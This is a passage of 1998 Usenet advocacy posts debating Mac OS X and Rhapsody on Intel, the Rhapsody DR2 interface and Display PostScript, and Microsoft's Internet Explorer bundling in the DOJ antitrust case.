with the hope of an OpenStep layer on most UNIX variants, and other OS's to
boot. Take the argument for Apples "practical" position on this a little
farther, and it says "bail and go to Wintel".
The iMac is cute marketing, it *feels* like the new Volkswagon (end of
comparison, *please*).... I'll probably buy one for the kids, but with the
understanding my ancient NeXT equipment will probably outlive it. It's
outlived all our other Macs (including a PowerPC Mac that cratered a month
back).
I am excited about not having to use the retrograde Mac UI on Rhapsody,
though. As far as MacOSX? I've reached indifference. I have to wonder how
Dr. Ernie feels, tho.
-Alan Frabutt
From: nospamhattonr@aug.com (Rick)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: No Mac OS X for Intel...?
Date: Sun, 24 May 1998 11:57:27 -0400
Organization: All USENET -- http://www.Supernews.com
Message-ID: <19980524115727788215@ts2-18.aug.com>
References: <6jtt5c$q8k$1@news.cmc.net> <rmcassid-2005980144360001@dialin9111.slip.uci.edu> <see-below-2005980308550001@209.24.240.28> <6jvctf$6p8$2@msunews.cl.msu.edu> <6k8joc$bq$1@news.orbitworld.net>
Gary Hendershot <ghenders@gary-hendershot.com> wrote:
> I'll bet that Apple/NeXT has decided to take the very conservative approach
> to building the new OS (MacOS-X) by completely dumping Intel support and
> focusing 100% on the G3/G4 platform.
MacOS X will not run on Intel. Supposedly apps created by using "Yellow
Box" APIs can be compiled to run on MacOS X, MacOS, and Intel. BSD apps
should also run on both.
--
*** To reply via email remove nospam from my return address. ***
From: Josh.McKee@cbns.com (Joshua T. McKee)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Sun, 24 May 1998 09:59:08 -0600
Organization: Central Business Network Solutions
Message-ID: <Josh.McKee-2405980959090001@pm3a10.rmac.net>
References: <rmcassid-0705980012000001@dialin33419.slip.uci.edu> <6j2m0f$m0c$3@ligarius.ultra.net> <rmcassid-1105981158230001@dante.eng.uci.edu> <6j9ac3$tnp$1@ligarius.ultra.net> <rmcassid-1205982352010001@dialin33423.slip.uci.edu> <6jk64c$vo9$1@strato.ultra.net> <rmcassid-1805981307530001@dante.eng.uci.edu> <6jqt6a$md2$2@strato.ultra.net> <rmcassid-1905980044070001@dante.eng.uci.edu> <6jrrfp$3e1$2@strato.ultra.net> <tvyd8daun8i.fsf@cn1.connectnet.com> <6jtgif$vp6$7@ligarius.ultra.net> <35cca498.358890969@news.supernews.com> <6k6rm5$nkn$4@ligarius.ultra.net> <Josh.McKee-2305982147510001@pm3a18.rmac.net> <6k883d$okb$4@strato.ultra.net>
In article <6k883d$okb$4@strato.ultra.net>, "John Saunders"
<jws@jws.ultranet.com> wrote:
> Joshua T. McKee wrote in message ...
> >Let's say for a moment that the IE intergration in Windows 98 is a
> >legitimate OS feature. Furthermore, let's also say that nothing prevents
> >the user from not using IE and using Netscape. Could we say that these
> >two statements are what a number of pro-Microsoft advocates are saying?
> >Good...now why is it that Microsoft will not allow vendors to install and
> >configure Navigator as the default browser while leaving the IE technology
> >in place? Why must the startup sequence remain unaltered?
> I have seen no reason to believe that Microsoft prevents vendors from
> configuring Navigator as the default browser, depending on what you mean by
> "default browser". If you mean "the program that runs when I double-click a
> .HTML file", then I see no reason at all why a vendor can't make that
> change. They are allowed to install whatever additional products they want,
> and that normally creates or changes file associations. I am unable to
> guess what else you might mean by "default browser", so please elaborate.
Why can't the vendor alter the bootup sequence so that IE isn't anywhere
to be found? Even the initial bootup sequence.
> I personally find some of their arguments plausible. In particular, remember
> that they have had more experience supporting Windows customers than either
> you or I. Their Q&A mentions a case where a vendor interrupted the boot
> sequence and wound up screwing things up for customers. It makes sense that,
> since the OS is designed to finish booting and then log a user on, that any
> customizations should take place after a user logs on. If the OEM wants to
> do some perhaps massive customizations, then perhaps they should ship the
> system with a default user ("start up" or something) which does the
> customizations, then deletes itself and logs out. Note that MS is not
> attempting to dictate what happens on any login other than the first. The
> OEM could completely switch shells to one that provided a totally different
> interface, and Microsoft claims they wouldn't mind, as long as that happened
> after the first login. If true, that's no great barrier to entry.
I don't know who supports Windows more: Microsoft or the rest of the
industry. The computer vendors are responsible for supporting all copies
of Windows shipped on their systems. As such, if they completely hose the
initial startup of Windows as described in their document you pointed me
to, then they alone are responsible for the support. Microsoft doesn't
have to support it at all. And why would these kinds of problems only
result on the initial boot? Could the initial boot go fine, the vendors
software modify it for subsequent boots, and then hose the system up?
What you have just given me is the "Windows experience" and nothing more.
> >One can argue that leaving the IE functionality in the OS allows
> >developers to know exactly what browsing features will be available on
> >every Windows 98 system. But I cannot for the life of me see any
> >advantage to the consumer for Microsoft to insist that Navigator not be
> >installed as the default browser and that the startup sequence cannot be
> >altered so that IE is not prominently displayed.
>
> Please go read the MS Q&A at
> http://www.microsoft.com/corpinfo/doj/5-18Q&A.htm. In small part, it says:
> "Second, the government wanted Microsoft give up its right to display the
> Windows user interface when consumers turn on a new PC running Windows for
> the first time. The user interface is a fundamental part of the computer
> operating system, so we believe it is appropriate that consumers who buy a
> Windows-based PC see the Windows user interface at least once." Notice it
> says "at least once", not forever. There does not appear to be any reason
> why an OEM couldn't change the interface completely for subsequent logins.
> It could even change the wallpaper to a big Netscape "N".
And all this basically says is that Microsoft wants the vendors customers
to have the "Windows Experience". I see nothing in the initial boot
process that makes problems more likely than in subsequent boots. Since
the OEM's are responsible to support Windows, support issues are not a
problem for Microsoft?
Josh
From: Josh.McKee@cbns.com (Joshua T. McKee)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Sun, 24 May 1998 10:04:52 -0600
Organization: Central Business Network Solutions
Message-ID: <Josh.McKee-2405981004530001@pm3a10.rmac.net>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6jk64c$vo9$1@strato.ultra.net> <rmcassid-1805981 <rmcassid-1905980044070001@dante.eng.uci.edu> <6js61j$g18$1@inconnu.isu.edu> <6jtgid$vp6$5@ligarius.ultra.net> <Josh.McKee-2005981950070001@pm3a17.rmac.net> <6k1862$vn6$3@strato.ultra.net> <Josh.McKee-2105981832300001@pm3a23.rmac.net> <6k2sok$l4r$3@strato.ultra.net> <Josh.McKee-2205981814520001@pm3a24.rmac.net> <6k6rm4$nkn$3@ligarius.ultra.net> <see-below-2305981537470001@209.24.241.7> <6k7oji$hqc$3@strato.ultra.net>
In article <6k7oji$hqc$3@strato.ultra.net>, "John Saunders"
<jws@jws.ultranet.com> wrote:
> Matthew Vaughan wrote in message ...
> >In article <6k6rm4$nkn$3@ligarius.ultra.net>, "John Saunders"
> ><jws@jws.ultranet.com> wrote:
> >
> >> Joshua T. McKee wrote in message ...
> >
> >> >It would be much more difficult for Netscape to provide this level of
> >> >functionality over Microsoft because Microsoft is the developer of the
> >> >OS. And Netscape still would not be able to preload it on computers like
> >> >Microsoft can. You think it's hard enough to get the "application"
> >> >version of Navigator pre-installed, just imagine how difficult it would be
> >> >if they made it like IE.
> >>
> >>
> >> I don't get it. Why would it be "much more difficult"? What would the
> >> problem be? Are you suggesting that Microsoft has left something
> >> undocumented, such that only "the developer of the OS" could successfully
> >> implement this feature?
> >
> >Yes.
> >
>
>
> And would you care to elaborate?
Geez, I don't even know why I'm responding to this. It is so blatently
obvious that Microsoft, as the developer of the OS, holds a huge advantage
over it's competitiors when it comes to intergrated applications into the
OS.
Let's just assume that Netscape has developed Navigator to be intergrated
into the OS. Do you think Microsoft is going to allow this? Hell, we
can't even alter the initial boot sequence...do you think Microsoft will
allow them to pre-install Navigator, which would highly modify Windows,
onto the PC's? That would require making extensive modifications to the
OS, as Microsoft puts it. Do you honestly believe that Microsoft would
allow such modification to their OS? I don't...and any arguements to
support them in that decision are arguments that Microsoft holds an
extreme advantage.
Josh
From: "Christopher Smith" <drsmithy@usa.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Mon, 25 May 1998 02:10:17 +1000
Organization: University of Queensland
Message-ID: <6k9gh7$5lk$1@nargun.cc.uq.edu.au>
References: <rmcassid-0705980012000001@dialin33419.slip.uci.edu> <6j2m0f$m0c$3@ligarius.ultra.net> <rmcassid-1105981158230001@dante.eng.uci.edu> <6j9ac3$tnp$1@ligarius.ultra.net> <rmcassid-1205982352010001@dialin33423.slip.uci.edu> <6jk64c$vo9$1@strato.ultra.net> <rmcassid-1805981307530001@dante.eng.uci.edu> <6jqt6a$md2$2@strato.ultra.net> <rmcassid-1905980044070001@dante.eng.uci.edu> <6jrrfp$3e1$2@strato.ultra.net> <tvyd8daun8i.fsf@cn1.connectnet.com> <6jtgif$vp6$7@ligarius.ultra.net> <35cca498.358890969@news.supernews.com> <6k6rm5$nkn$4@ligarius.ultra.net> <Josh.McKee-2305982147510001@pm3a18.rmac.net> <6k883d$okb$4@strato.ultra.net> <Josh.McKee-2405980959090001@pm3a10.rmac.net>
Joshua T. McKee wrote in message ...
>In article <6k883d$okb$4@strato.ultra.net>, "John Saunders"
><jws@jws.ultranet.com> wrote:
>
>> Joshua T. McKee wrote in message ...
>> I have seen no reason to believe that Microsoft prevents vendors from
>> configuring Navigator as the default browser, depending on what you mean
by
>> "default browser". If you mean "the program that runs when I double-click
a
>> .HTML file", then I see no reason at all why a vendor can't make that
>> change. They are allowed to install whatever additional products they
want,
>> and that normally creates or changes file associations. I am unable to
>> guess what else you might mean by "default browser", so please elaborate.
>
>
>Why can't the vendor alter the bootup sequence so that IE isn't anywhere
>to be found? Even the initial bootup sequence.
Because they are contractually obliged not to. How do you think Apple would
react if CompUSA sold all their Macs so that they booted straight to VPC
running Windows 95 ? I see no huge problem with Microsoft setting
restrictions on how their OS boots on a machine the *first* time (note that
the manufacturer can set the machine to do whatever it wants after that
first boot).
>
>Josh
From: "HARRY HASTAIN" <HHASTAIN@worldnet.att.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: No Mac OS X for Intel...?
Date: 24 May 1998 16:27:33 GMT
Organization: AT&T WorldNet Services
Message-ID: <6k9hpl$73e@bgtnsc02.worldnet.att.net>
References: <6jtt5c$q8k$1@news.cmc.net> <rmcassid-2005980144360001@dialin9111.slip.uci.edu> <see-below-2005980308550001@209.24.240.28> <6jvctf$6p8$2@msunews.cl.msu.edu> <6k8joc$bq$1@news.orbitworld.net>
Gary Hendershot <ghenders@gary-hendershot.com> wrote in article
<6k8joc$bq$1@news.orbitworld.net>...
>
> Nonetheless, M$ probably has been preparing for this case a while longer
> than most might believe -- strategies, tactics, timelines, defensive
ploys,
> etc. You can bet your ass they have been well aware of what the DOJ and
> others have been up to for some time, and are now well prepared.
>
I wonder, given the numerous blunders MS has made in its attempts to spin
public sentiment and to manipulate the DOJ during the process. All I've
seen from Redmond is an "innovation" line drawn in the sand whereby they
cry with righteous indignation when crossed. If their performance to date
is any indication of what their future strategy will be, not even Johnny
Cochrane will be able to save them.
And I'll bet the DOJ is going to use secret MS documents showing how MS
sought to squash the innovation of other competitors, using MS' own rope to
hang them.
>
>
> -Gary H-
> ghenders@gary-hendershot.com
> Houston, TX USA
>
>
>
>
>
>
>
>
>
>
>
From: dpetticord@hotmail.com
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Sun, 24 May 1998 16:49:07 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6k9j23$s5b$1@nnrp1.dejanews.com>
References: <rmcassid-0705980012000001@dialin33419.slip.uci.edu> <6j2m0f$m0c$3@ligarius.ultra.net> <rmcassid-1105981158230001@dante.eng.uci.edu> <6j9ac3$tnp$1@ligarius.ultra.net> <rmcassid-1205982352010001@dialin33423.slip.uci.edu> <6jk64c$vo9$1@strato.ultra.net> <rmcassid-1805981307530001@dante.eng.uci.edu> <6jqt6a$md2$2@strato.ultra.net> <rmcassid-1905980044070001@dante.eng.uci.edu> <6jrrfp$3e1$2@strato.ultra.net> <tvyd8daun8i.fsf@cn1.connectnet.com> <6jtgif$vp6$7@ligarius.ultra.net> <35cca498.358890969@news.supernews.com> <6k6rm5$nkn$4@ligarius.ultra.net> <Josh.McKee-2305982147510001@pm3a18.rmac.net>
In article <Josh.McKee-2305982147510001@pm3a18.rmac.net>,
> Let's say for a moment that the IE intergration in Windows 98 is a
> legitimate OS feature. Furthermore, let's also say that nothing prevents
> the user from not using IE and using Netscape. Could we say that these
> two statements are what a number of pro-Microsoft advocates are saying?
>
Let's say you may have just conceded the anti-trust case to Microsoft.
(explaination to follow)
> Good...now why is it that Microsoft will not allow vendors to install and
> configure Navigator as the default browser while leaving the IE technology
> in place? Why must the startup sequence remain unaltered?
>
This is Microsoft's choice, as many other non-monopolies also choose to do.
<snip>
> The reason why is that Microsoft is trying to monopolize the browser
> market. Can you explain this any other way (and please, the "Windows
> Experience" is not worth a battle with the DOJ)?
>
You, and the DOJ are probably correct is discerning this as the primary
reason for Microsoft's action, but I understand there are multiple cases
where the courts allowed anti-competitive actions as long as there was a
legitimate secondary reason.
Microsoft is allowed to do standard business practices even if it is
very anti-competitive. You may think the "Windows Experience" is a poor
excuse, but if it reaches the threshhold of a legitimate SECONDARY reason,
Microsoft wins.
I am encouraged that you were open-minded enough to concede the possible
usefullness of the Windows98 integration. These anti-trust arguments are
multi-layered. Close minded fanatics on both sides, risk missing seeing
this.
David Petticord
Complete Networks, Inc.
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
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From: devnull@occam.com (Leon von Stauber)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Rhapsody, OS X...huh?
Date: 24 May 1998 17:03:39 GMT
Organization: Occam's Razor
Message-ID: <6k9jtb$dar$1@news.cmc.net>
References: <356573e8.5831486@nntp.atl.mindspring.com> <6k4fk0$8st$1@crib.bevc.blacksburg.va.us>
<3566bf1b.585911@nntp.atl.mindspring.com> <rkt1-2305981407360001@cu-dialup-1005.cit.cornell.edu>
<see-below-2305981551320001@209.24.241.7> <6k8hvm$d4k$1@mamenchi.zrz.TU-Berlin.DE>
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Cc: kiwi@saljut.fb10.tu-berlin.de
In <6k8hvm$d4k$1@mamenchi.zrz.TU-Berlin.DE> Axel Habermann wrote:
>Matthew Vaughan <see-below@not-my-address.com> wrote:
>
>: I remember a year ago all the Next developers were complaining about how
>: sucky the Mac interface was compared to OpenStep, but they've been pretty
>: silent since. I was wondering if that was the NDA at work, or whether some
>: have actually changed their minds. I haven't used OpenStep or Rhapsody so
My opinion about the Mac interface has been changed to a degree since last
year. See MacKiDo's Interface section[1] for a lot of good reasons.
However, many gripes remain. For example, I agree with everything on Axel's
list.
>: I can't compare, but I'm curious what you all think of the Mac interface
>: (at least as implemented in DR1/DR2) now?
>
>My comments about DR2:
>
>- The tear off menus suck, because you can only tear off the first level.
>This is pretty much useless. It was much better on Openstep.
>
>- The tear off menus suck, because I always tear them off inadvertedly when
>trying to leave the menu.
>
>- The scrollbars are still on the wrong side.
>
>- Drag cancel can be disabled - at least they didn't make it a permanent
>annoyance.
>
>- Miniicons are back as a supported option. Great.
>
>- I miss the Application Icons a lot. Switching between Applications is
>one step more as it used to be (go to the menu bar, select app instead
>of directly clicking on the application icon)
>
>- The Desktop is no replacement for the shelf as it is mostly
>covered by windows.
>
>- I have two menu options labeled 'Preferences' and I can't
>remember which is which (app prefs or system prefs)
>
>- I miss the top level 'hide' menu option
[1] http://www.mackido.com/Interface/
_______________________________________________________________
Leon von Stauber http://www.occam.com/leonvs/
Occam's Razor, Game Designer <com.occam@leonvs>
Metapath Software, UNIX System Admin <com.metapath@lvonstau>
"We have not come to save you, but you will not die in vain!"
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
Date: Sun, 24 May 1998 12:49:09 -0500
Organization: ISPNews http://ispnews.com
Message-ID: <35685D95.23166255@nstar.net>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <joe.ragosta-1905981003200001@wil115.dol.net> <6jrn7c$4rf$2@ns3.vrx.net> <3561BB08.52935430@milestonerdl.com> <6jsiib$uma$1@crib.bevc.blacksburg.va.us> <3561D59A.6D04@CONVEX.COM> <3561E3EA.4680E7AE@milestonerdl.com> <35621EF1.9DEDCD98@nstar.net> <6ju8d3$7vp$1@ns3.vrx.net> <35648A33.7F5B@CONVEX.COM> <6k1hn9$pdd$1@ns3.vrx.net> <35649582.1F55@CONVEX.COM> <6k1moi$sp3$1@ns3.vrx.net> <3564A983.1DE3@CONVEX.COM> <6k3fho$be9$2@ns3.vrx.net> <3565A35B.AFDD18BC@nstar.net> <01bd85a8$4bed8860$04387880@test1> <3565BC52.B03EB5FC@nstar.net> <joe.ragosta-2205981514220001@wil124.dol.net> <3565F1AE.83D9D1A8@nstar.net> <joe.ragosta-2305980814510001@elk89.dol.net>
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NNTP-Posting-Date: 24 May 1998 17:54:02 GMT
Joe Ragosta wrote:
[cut]
> > You don't seem to be able to understand that sometimes (not always),
> > quantity *does* equal quality.
> >
> > And that's just part of the entire value proposition of Windows NT.
> > Something else you apparently missed.
>
> Good example. By your definition, Win95 is a better OS than WinNT because
> more people use it.
>
> You're contradicting yourself.
Feh, either you're completely thick or you're just being a pain in the
ass. Either way, suffice it to say you've got no idea where you're going
with this, and you're making no sense.
MJP
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
Date: Sun, 24 May 1998 12:52:32 -0500
Organization: ISPNews http://ispnews.com
Message-ID: <35685E60.5B05F42@nstar.net>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <6k3fho$be9$2@ns3.vrx.net> <3565A35B.AFDD18BC@nstar.net> <3565BC52.B03EB5FC@nstar.net> <6k4sku$9jj$1@crib.bevc.blacksburg.va.us> <3566448F.2722F9E0@nstar.net> <6k5ij2$a4l$1@crib.bevc.blacksburg.va.us> <35666214.339DA7D@nstar.net> <19980523115432475532@ts3-01.aug.com>
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Rick wrote:
> > That's sorta odd. I don't personally know anyone who's forced to use
> > Microsoft products, but I don't know everyone, so I won't assume that my
> > experience is normative.
>
> Almost very person that buys a pre-assembled Intel/Clone computer is
> foreced to use windows at least once.
No, they're not. They're neither FORCED (the root of "forced" is
"force", for ESL students) nor are they REQUIRED.
Assemble computer, insert RedHat boot floppy, insert RedHat CD-ROM,
power machine, run RedHat installation. Nobody is ever required to boot
the Windows operating system on anything.
MJP
From: "John Saunders" <jws@jws.ultranet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Sun, 24 May 1998 14:18:52 -0400
Organization: UltraNet Communications, Inc. http://www.ultranet.com/
Message-ID: <6k9ohj$uuc$4@strato.ultra.net>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6jk64c$vo9$1@strato.ultra.net> <rmcassid-1805981 <rmcassid-1905980044070001@dante.eng.uci.edu> <6js61j$g18$1@inconnu.isu.edu> <6jtgid$vp6$5@ligarius.ultra.net> <Josh.McKee-2005981950070001@pm3a17.rmac.net> <6k1862$vn6$3@strato.ultra.net> <Josh.McKee-2105981832300001@pm3a23.rmac.net> <6k2sok$l4r$3@strato.ultra.net> <Josh.McKee-2205981814520001@pm3a24.rmac.net> <6k6rm4$nkn$3@ligarius.ultra.net> <see-below-2305981537470001@209.24.241.7> <6k7oji$hqc$3@strato.ultra.net> <Josh.McKee-2405981004530001@pm3a10.rmac.net>
Joshua T. McKee wrote in message ...
>In article <6k7oji$hqc$3@strato.ultra.net>, "John Saunders"
><jws@jws.ultranet.com> wrote:
>
>> Matthew Vaughan wrote in message ...
>> >In article <6k6rm4$nkn$3@ligarius.ultra.net>, "John Saunders"
>> ><jws@jws.ultranet.com> wrote:
>> >
>> >> Joshua T. McKee wrote in message ...
>> >
>> >> >It would be much more difficult for Netscape to provide this level of
>> >> >functionality over Microsoft because Microsoft is the developer of
the
>> >> >OS. And Netscape still would not be able to preload it on computers
like
>> >> >Microsoft can. You think it's hard enough to get the "application"
>> >> >version of Navigator pre-installed, just imagine how difficult it
would be
>> >> >if they made it like IE.
>> >>
>> >>
>> >> I don't get it. Why would it be "much more difficult"? What would the
>> >> problem be? Are you suggesting that Microsoft has left something
>> >> undocumented, such that only "the developer of the OS" could
successfully
>> >> implement this feature?
>> >
>> >Yes.
>> >
>>
>>
>> And would you care to elaborate?
>
>
>Geez, I don't even know why I'm responding to this. It is so blatently
>obvious that Microsoft, as the developer of the OS, holds a huge advantage
>over it's competitiors when it comes to intergrated applications into the
>OS.
>
>Let's just assume that Netscape has developed Navigator to be intergrated
>into the OS. Do you think Microsoft is going to allow this? Hell, we
>can't even alter the initial boot sequence...do you think Microsoft will
>allow them to pre-install Navigator, which would highly modify Windows,
>onto the PC's? That would require making extensive modifications to the
>OS, as Microsoft puts it. Do you honestly believe that Microsoft would
>allow such modification to their OS? I don't...and any arguements to
>support them in that decision are arguments that Microsoft holds an
>extreme advantage.
>
The most obvious facts are often the most untrue. Because they're obvious,
no one considers the possibility that they are not true.
Why should it matter what you're afraid Microsoft might do in the future?
That's nothing but speculation. Warn them against doing it, wait and see if
they do it, then sue the crap out of them if they do. We shouldn't be suing
them because we're afraid they wouldn't let Netscape do something.
And they're already allowed to pre-install Netscape!
John Saunders
jws@jws.ultranet.com
From: Josh.McKee@cbns.com (Joshua T. McKee)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Sun, 24 May 1998 13:07:09 -0600
Organization: Central Business Network Solutions
Message-ID: <Josh.McKee-2405981307100001@pm3a6.rmac.net>
References: <rmcassid-0705980012000001@dialin33419.slip.uci.edu> <6j2m0f$m0c$3@ligarius.ultra.net> <rmcassid-1105981158230001@dante.eng.uci.edu> <6j9ac3$tnp$1@ligarius.ultra.net> <rmcassid-1205982352010001@dialin33423.slip.uci.edu> <6jk64c$vo9$1@strato.ultra.net> <rmcassid-1805981307530001@dante.eng.uci.edu> <6jqt6a$md2$2@strato.ultra.net> <rmcassid-1905980044070001@dante.eng.uci.edu> <6jrrfp$3e1$2@strato.ultra.net> <tvyd8daun8i.fsf@cn1.connectnet.com> <6jtgif$vp6$7@ligarius.ultra.net> <35cca498.358890969@news.supernews.com> <6k6rm5$nkn$4@ligarius.ultra.net> <Josh.McKee-2305982147510001@pm3a18.rmac.net> <6k9j23$s5b$1@nnrp1.dejanews.com>
In article <6k9j23$s5b$1@nnrp1.dejanews.com>, dpetticord@hotmail.com wrote:
> In article <Josh.McKee-2305982147510001@pm3a18.rmac.net>,
> > Let's say for a moment that the IE intergration in Windows 98 is a
> > legitimate OS feature. Furthermore, let's also say that nothing prevents
> > the user from not using IE and using Netscape. Could we say that these
> > two statements are what a number of pro-Microsoft advocates are saying?
> >
>
> Let's say you may have just conceded the anti-trust case to Microsoft.
> (explaination to follow)
I did not conceed the point at all. I was saying "Let's assume for the
sake of arguement".
Josh
From: Josh.McKee@cbns.com (Joshua T. McKee)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Sun, 24 May 1998 13:09:17 -0600
Organization: Central Business Network Solutions
Message-ID: <Josh.McKee-2405981309180001@pm3a6.rmac.net>
References: <rmcassid-0705980012000001@dialin33419.slip.uci.edu> <6j2m0f$m0c$3@ligarius.ultra.net> <rmcassid-1105981158230001@dante.eng.uci.edu> <6j9ac3$tnp$1@ligarius.ultra.net> <rmcassid-1205982352010001@dialin33423.slip.uci.edu> <6jk64c$vo9$1@strato.ultra.net> <rmcassid-1805981307530001@dante.eng.uci.edu> <6jqt6a$md2$2@strato.ultra.net> <rmcassid-1905980044070001@dante.eng.uci.edu> <6jrrfp$3e1$2@strato.ultra.net> <tvyd8daun8i.fsf@cn1.connectnet.com> <6jtgif$vp6$7@ligarius.ultra.net> <35cca498.358890969@news.supernews.com> <6k6rm5$nkn$4@ligarius.ultra.net> <Josh.McKee-2305982147510001@pm3a18.rmac.net> <6k883d$okb$4@strato.ultra.net> <Josh.McKee-2405980959090001@pm3a10.rmac.net> <6k9gh7$5lk$1@nargun.cc.uq.edu.au>
In article <6k9gh7$5lk$1@nargun.cc.uq.edu.au>, "Christopher Smith"
<drsmithy@usa.net> wrote:
> Joshua T. McKee wrote in message ...
> >Why can't the vendor alter the bootup sequence so that IE isn't anywhere
> >to be found? Even the initial bootup sequence.
>
> Because they are contractually obliged not to. How do you think Apple would
> react if CompUSA sold all their Macs so that they booted straight to VPC
> running Windows 95 ? I see no huge problem with Microsoft setting
> restrictions on how their OS boots on a machine the *first* time (note that
> the manufacturer can set the machine to do whatever it wants after that
> first boot).
Why should Apple, or Microsoft care what the system boots up to? They've
sold a copy of Mac OS or Windows 95. Once sold to the OEM, why should
Apple of Microsoft care?
Josh
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: End of WYSIWYG w/out DPS?
Date: 24 May 1998 18:55:06 GMT
Organization: P & L Systems
Message-ID: <6k9qea$d5n$1@ironhorse.plsys.co.uk>
References: <joe.ragosta-1905980811270001@wil104.dol.net> <B18713C2-1ED4E@206.165.43.112>
<3561d7b1.0@news.depaul.edu> <rex-1905981816130001@192.168.0.3>
<6k6e1i$sr4$9@ironhorse.plsys.co.uk> <rex-2305981101130001@192.168.0.3>
<3566E50C.257D56A2@trilithon.com> <rex-2405980239210001@192.168.0.3>
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Cc: rex@smallandmighty.com
In <rex-2405980239210001@192.168.0.3> Eric King wrote:
> In article <3566E50C.257D56A2@trilithon.com>, Henry McGilton
> <henry@trilithon.com> wrote:
>
> :Eric King wrote:
> :
> : * Er, no. You're not getting a Postscript interpreter,
> : * you're just getting a low-level functional API with
> : * some PDF export options. No PSWraps and possibly no
> : * NSHosting-like services.
> :Wraps and NSHosting aren't related very much.
>
> Except by their current implementations, which both rely on DPS. Take
> DPS away and you have neither, with no clear replacements in sight.
>
Utter bollocks. This has been made very clear on several occasions, and it's
more than frustrating -- although not entirely surprising -- that you
continue parrot this FUD.
Relevant people from Apple (e.g. Jordan Dea-Mattson, Mike Paquette) have
stated explicitly that whilst remote hosting will not be supported *at the
moment*, hooks will be present for third parties.
So you could easily envisage solutions such as Timbuktu for MacOS X.
> :of wraps, the amount of work needed to convert the average
> :application to the new API is minimal to zero,
>
> I did not comment on the amount of code needed to convert, only that
> the service would not be available.
>
> :out many times in the "OpenStep programmers have to be DPS
> :experts" debates
>
> However, the issue being discussed was if you *wanted* to hack around
> with Display Postscript, Mac OS X, isn't going to offer you that ability
> any longer.
>
No, the issue (which you brought up) was:
"You guys also saw no reason to assume that DPS or an equivalent would not be
available."
We are getting an equivalent which offers WYSIWYG and which is compatible
with most code that most people have written over the years (i.e. all the
PSmoveto, PSlineto, and [myObject draw] stuff) -- as Henry rightly points
out, all the time you guys have had your hands over your ears, we've been
saying that *most people don't use PostScript directly*, and even in
applications such as PasteUp it has been pointed out that there are *very few
lines of PS*.
mmalc.
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: End of WYSIWYG w/out DPS?
Date: 24 May 1998 18:57:58 GMT
Organization: P & L Systems
Message-ID: <6k9qjm$d5n$2@ironhorse.plsys.co.uk>
References: <3566E50C.257D56A2@trilithon.com> <B18C3CF3-1B48F@206.165.43.104>
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Cc: english@primenet.com
In <B18C3CF3-1B48F@206.165.43.104> "Lawson English" wrote:
> Henry McGilton <henry@trilithon.com> said:
>
> > "OpenStep programmers have to be DPS
> >experts" debates, where none of the anti-DPS faction have
> >bothered to collect even one datapoint to support their stance.
>
> Actually, it's been more like "if you don't have to be a DPS expert, why
> can't YB use GX instead of DPS?"
>
And the anwser, as I have given on so many occasions that it's astounding you
haven't groked it yet, is that it's pragmatics. DPS aint broke, so don't
waste time and effort fixing it. It's as simple as that.
> In fact, we're getting neither. GX and DPS go away, with no support for GX
> in Carbon, and an unknown (as yet) library to provide equivalent
> functionality in YB (presumeably that can be called from Carbon-based apps
> when it is ready for public use).
>
More uninformed Chicken Little style speculation.
mmalc.
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: No Mac OS X for Intel...?
Date: 24 May 1998 12:15:00 -0700
Organization: Primenet Services for the Internet
Message-ID: <B18DBFC6-7F7D@206.165.43.164>
References: <19980524115727788215@ts2-18.aug.com>
nntp://news.primenet.com/comp.sys.mac.advocacy
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Rick <nospamhattonr@aug.com> said:
